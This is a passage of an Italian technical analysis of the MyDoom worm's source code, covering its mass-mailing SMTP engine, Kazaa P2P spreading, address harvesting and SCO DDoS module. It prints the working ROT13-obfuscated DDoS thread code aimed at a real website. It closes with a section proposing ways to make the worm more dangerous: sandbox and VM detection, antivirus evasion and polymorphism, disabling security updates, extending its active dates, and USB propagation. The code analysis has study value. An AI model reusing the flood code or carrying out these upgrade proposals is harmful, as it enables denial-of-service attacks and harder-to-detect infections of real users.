All'inizio della funzione vengono dichiarate le due variabili di tipo 'SYSTEMTIME', 'sco\_date' e 'termdate' che rappresentano rispettivamente il 1 e il 12 febbraio 2004. La loro dichiarazione come 'static' significa che il loro valore è persistente e non verrà ricreato ogni volta che la funzione viene chiamata. Viene poi dichiarata una struttura 'sync\_t', denominata 'sync0', utilizzata per memorizzare informazioni relative allo stato dell'applicazione.

Dopo la dichiarazione delle variabili, vengono chiamate la funzione 'xrand\_init', che come visto inizializza un generatore di numeri casuali, e la funzione 'wsa\_init' per inizializzare la libreria Winsock, discussa in precedenza.

Successivamente, viene utilizzato 'memset' per azzerare i valori all'interno della struttura 'sync0': questo è fondamentale per garantire che non ci siano valori non inizializzati che potrebbero causare comportamenti indesiderati. Una volta azzerata, la struttura viene aggiornata per includere le date precedentemente dichiarate, assegnando i valori di 'termdate' e 'sco\_date' ai campi corrispondenti della struttura. Viene poi chiamata la funzione 'sync\_main(&sync0)', responsabile della gestione del flusso principale dell'applicazione, che esegue le operazioni necessarie in base alle impostazioni e agli stati memorizzati in 'sync0'.

Infine, il codice si conclude con 'ExitProcess(0)', che termina l'esecuzione del programma e chiude il processo corrente, passando '0' come argomento per indicare che l'applicazione è terminata senza errori.

## Analisi dei codici secondari

### Massmail.c

Implementa un sistema di invio massivo di email.

La funzione 'massmail\_main' funge da ciclo principale per elaborazione delle email, per la gestione dei thread e per garantire che l'invio delle email non sovraccarichi il sistema.

Il malware può anche estrarre il domain name degli indirizzi e-mail infetti e anteporre loro un nome da un elenco di nomi utente comuni come ad esempio: John, Joe, Sam, David, Julie, Anna ecc.

Mydoom ottiene anche i server di posta dei domain name che ha estratto e in questo modo ha la capacità di bypassare il server SMTP (Simple Mail Transfer Protocol) e comunicare direttamente con il server di posta della vittima. Il malware utilizza il proprio motore SMTP come mezzo per generare e inviare messaggi di posta elettronica a destinatari ignari. SMTP è un protocollo TCP/IP utilizzato per inviare e ricevere e-mail il cui scopo è quello di trasferire la posta in modo affidabile ed efficiente.

Quanto sopra riportato viene effettuato dalla funzione 'mmsender' che è responsabile dell'invio di un'email utilizzando il protocollo SMTP.

### p2p.c

La funzione 'p2p\_spread' è progettata per gestire la diffusione di un file in un contesto di peer-to-peer (P2P), specificamente nel software Kazaa. KaZaA Media Desktop è stata un'applicazione peer-to-peer per il file sharing sviluppata tra il 2002 ed il 2006 che utilizzava il protocollo 'FastTrack' ed era adoperata per scambiare file musicali MP3 e film.

La funzione mira a copiare l'eseguibile corrente nella directory di Kazaa, rinominandolo con un nome e un'estensione casuali così da indurre così gli altri utenti del peer-to-peer a scaricarlo ed attivarlo. I file scaricati nella directory condivisa della rete Kazaa non vengono mai esaminati e ogni file nella cartella viene condiviso più volte sulla rete. Quindi, se un singolo file viene infettato dal virus MyDoom, si diffonde molto velocemente sulla rete Kazaa.

Viene poi utilizzato 'ROT13' per decodificare il percorso della chiave di registro e il nome della chiave.

### Sco.c

Implementa una funzionalità di tipo botnet o di attacco DDoS.



Dal primo febbraio fino al 12 febbraio, quando cesserà ogni attività, MyDoom tenterà di far partire una aggressione di tipo DDoS contro il sito <http://www.sco.com>.

```
#define SCO_SITE_ROT13 "jjj.fpb.pbz"    /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64
```

- SCO\_SITE\_ROT13: è l'indirizzo di un sito web (in questo caso, [www.sco.com](http://www.sco.com)). L'uso di ROT13 per mascherare l'URL è un metodo semplice di offuscamento, ma non fornisce alcuna sicurezza reale.
- SCO\_PORT: è impostato su 80, che è la porta standard per HTTP.
- SCODOS\_THREADS: definisce il numero massimo di thread che verranno creati.

## static DWORD \_stdcall scodos\_th(LPVOID pv)

Con questa funzione si rappresenta il thread secondario che si occupa di inviare richieste HTTP al server specificato. Viene costruito un messaggio HTTP GET per il sito rotato e viene poi effettuato un ciclo infinito in cui tenta di connettersi al server e inviare la richiesta.

```
static DWORD _stdcall scodos_th(LPVOID pv)
{
    struct sockaddr_in addr;
    char buf[512];
    int sock;

    rot13(buf,
        /*
         * "GET / HTTP/1.1\r\n"
         * "Host: www.sco.com\r\n"
         * "\r\n";
         */
        "TRG / UGGC/1.1\r\n"
        "Ubfq: " SCO_SITE_ROT13 "\r\n"
        "\r\n");

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
    if (pv == NULL) goto ex;
    addr = *(struct sockaddr_in *)pv;
    for (;;) {
        sock = connect_tv(&addr, 8);
        if (sock != 0) {
            send(sock, buf, strlen(buf), 0);
            Sleep(300);
            closesocket(sock);
        }
    }
ex: ExitThread(0);
    return 0;
}
```

## Scan.c

Il codice serve per cercare e raccogliere indirizzi email da file di testo e directory, utilizzando diverse tecniche di normalizzazione e conversione per assicurarsi che le email siano riconosciute correttamente.



La funzione principale per la scansione delle email è costituita da 'scantext\_extract\_ats', la quale ricerca nel buffer le email valide. Tale ricerca viene effettuata utilizzando: una tabella (mail\_chars) al fine di determinare quali caratteri nelle email siano validi, scorrendo il buffer alla ricerca del simbolo '@'. Una volta individuata un'email valida questa viene inviata alla funzione 'scan\_out' perché venga aggiunta alla coda di invio.

## Possibili modifiche o aggiornamenti

Dopo aver analizzato le attuali caratteristiche del malware proposto, possiamo esplorare potenziali migliorie che potrebbero renderlo ancora più pericoloso. Considerando i progressi nelle tecniche di difesa informatica, è utile immaginare come il malware potrebbe evolvere per aggirare le protezioni moderne e aumentare la sua capacità di diffusione e persistenza. Di seguito sono proposti alcuni miglioramenti che potrebbero essere apportati al malware, valutando strategie di elusione, rafforzamento della persistenza e sfruttamento di nuove vulnerabilità, rendendolo così una minaccia ancora più difficile da contrastare.

### Rilevamento ambiente controllato/sandbox

Potrebbe essere possibile incorporare nel malware un sistema di rilevamento per ambienti controllati, come sandbox o macchine virtuali. Questo tipo di rilevamento consente al malware di riconoscere se si trova in un ambiente isolato predisposto per analizzare il codice malevolo, e, in caso affermativo, di evitare di eseguire o di adottare comportamenti che ne mimetizzano la natura dannosa.

Un approccio al rilevamento di una sandbox prevede l'uso di tecniche che osservano l'ambiente in cui il malware si trova per individuare segni di virtualizzazione, strumenti di monitoraggio, o caratteristiche tipiche di un sistema di analisi. Ad esempio, il malware può verificare la presenza di processi noti come software di analisi (es. programmi antivirus avanzati, Wireshark, Sysinternals), oppure cercare specifici driver o file di configurazione associati a virtualizzazioni come VMware o VirtualBox.

Un'altra tecnica potrebbe includere l'osservazione dei tempi di risposta del sistema: in ambienti controllati, le operazioni spesso risultano rallentate rispetto a quelle di un normale sistema operativo, e questo comportamento anomalo può rivelare la presenza di una sandbox.

### Dinamicità della data di operatività

All'avvio dell'applicazione tramite la funzione 'WinMain' vengono dichiarate le variabili temporali di 'sco\_date' e 'termdate' che rappresentano rispettivamente la data di inizio e la data di scadenza dell'operatività del malware. Come già spiegato, la loro dichiarazione come 'static' imposta un valore persistente che non verrà ricreato ogni volta che la funzione viene chiamata.

L'aggiunta di un sistema per aggiornare dinamicamente la data di scadenza del malware potrebbe ampliarne il ciclo di vita operativo garantendo che questo rimanga attivo anche dopo la data preimpostata in 'termdate'. L'implementazione di una tecnica che permette il rinnovo di questa data aumenterebbe la persistenza del malware sul sistema infetto offrendo ai suoi sviluppatori un controllo continuo, riducendo la necessità di redistribuire nuove varianti per mantenere attive le infezioni.

### Disabilitazione degli strumenti di difesa

L'implementazione di un sistema che disabiliti gli strumenti di difesa come aggiornamenti e patch automatici potrebbe essere una mossa strategica per aumentare significativamente la persistenza

del malware su un sistema infetto. Disabilitando le funzionalità di aggiornamento del sistema operativo e i patch di sicurezza delle applicazioni più comuni, il malware riuscirebbe a mantenere il sistema in uno stato vulnerabile più a lungo impedendo l'applicazione di misure correttive che potrebbero invece rilevarlo e rimuoverlo.

## Rilevamento e scansione antivirus

Incorporare nel malware un sistema per rilevare ed eludere l'antivirus installato sul dispositivo infetto aumenterebbe notevolmente la sua pericolosità. Questa tecnica, conosciuta come "antivirus evasion", potrebbe essere implementata tramite diversi approcci, ciascuno pensato per evitare la rilevazione e garantire che il malware possa agire senza essere individuato.

Il malware potrebbe, ad esempio, effettuare una scansione per identificare la presenza di software antivirus o strumenti di sicurezza specifici e, una volta individuati, adottare una serie di contromisure che includono il disabilitare i servizi degli antivirus, modificare il registro di sistema per prevenire l'avvio degli stessi, o ancora interrompere i processi legati ai principali strumenti di difesa in tempo reale. Un'altra tecnica di evasione più avanzata è il "polimorfismo", ossia la capacità del malware di mutare il proprio codice ogni volta che si replica, rendendo più difficile per l'antivirus identificare uno schema fisso da riconoscere.

## Miglioramento della cifratura dei dati

La cifratura avanzata di comunicazioni e dati potrebbe essere una strategia per ridurre notevolmente la probabilità del malware di essere rilevato o intercettato. Nel codice analizzato vediamo come la funzione 'decrypt1\_to\_file' sia una funzione di decifratura relativamente semplice dove ciascun byte viene codificato con un valore derivato da un calcolo aritmetico. L'implementazione di un algoritmo più avanzato potrebbe apportare notevoli benefici, aumentando l'efficienza e la resilienza del malware rendendone le attività più complesse da individuare ed analizzare.

## Evoluzione delle tecniche di diffusione

Migliorare la capacità di diffusione P2P del malware attraverso l'estensione della funzione 'p2p\_spread', potrebbe garantire una propagazione più versatile e capillare del malware. Il malware sfrutta le reti P2P per infettare rapidamente più sistemi connessi, sfruttando la struttura decentralizzata delle reti peer-to-peer per evitare che un singolo nodo possa compromettere l'intera operazione. Tuttavia, un'estensione della funzione potrebbe includere nuovi canali di diffusione, potenziando significativamente la portata del malware e consentendogli di infettare sistemi anche in assenza di reti P2P attive.

Un esempio in questo senso potrebbe essere rappresentato dalla possibilità del malware di diffondersi tramite dispositivi di archiviazione USB, tecnica di propagazione che prevede che il malware si copi automaticamente sui dispositivi USB quando questi vengono collegati al sistema infetto. Quando il dispositivo viene successivamente collegato a un altro computer, il malware può infettarlo senza bisogno di una connessione a internet o reti P2P attive.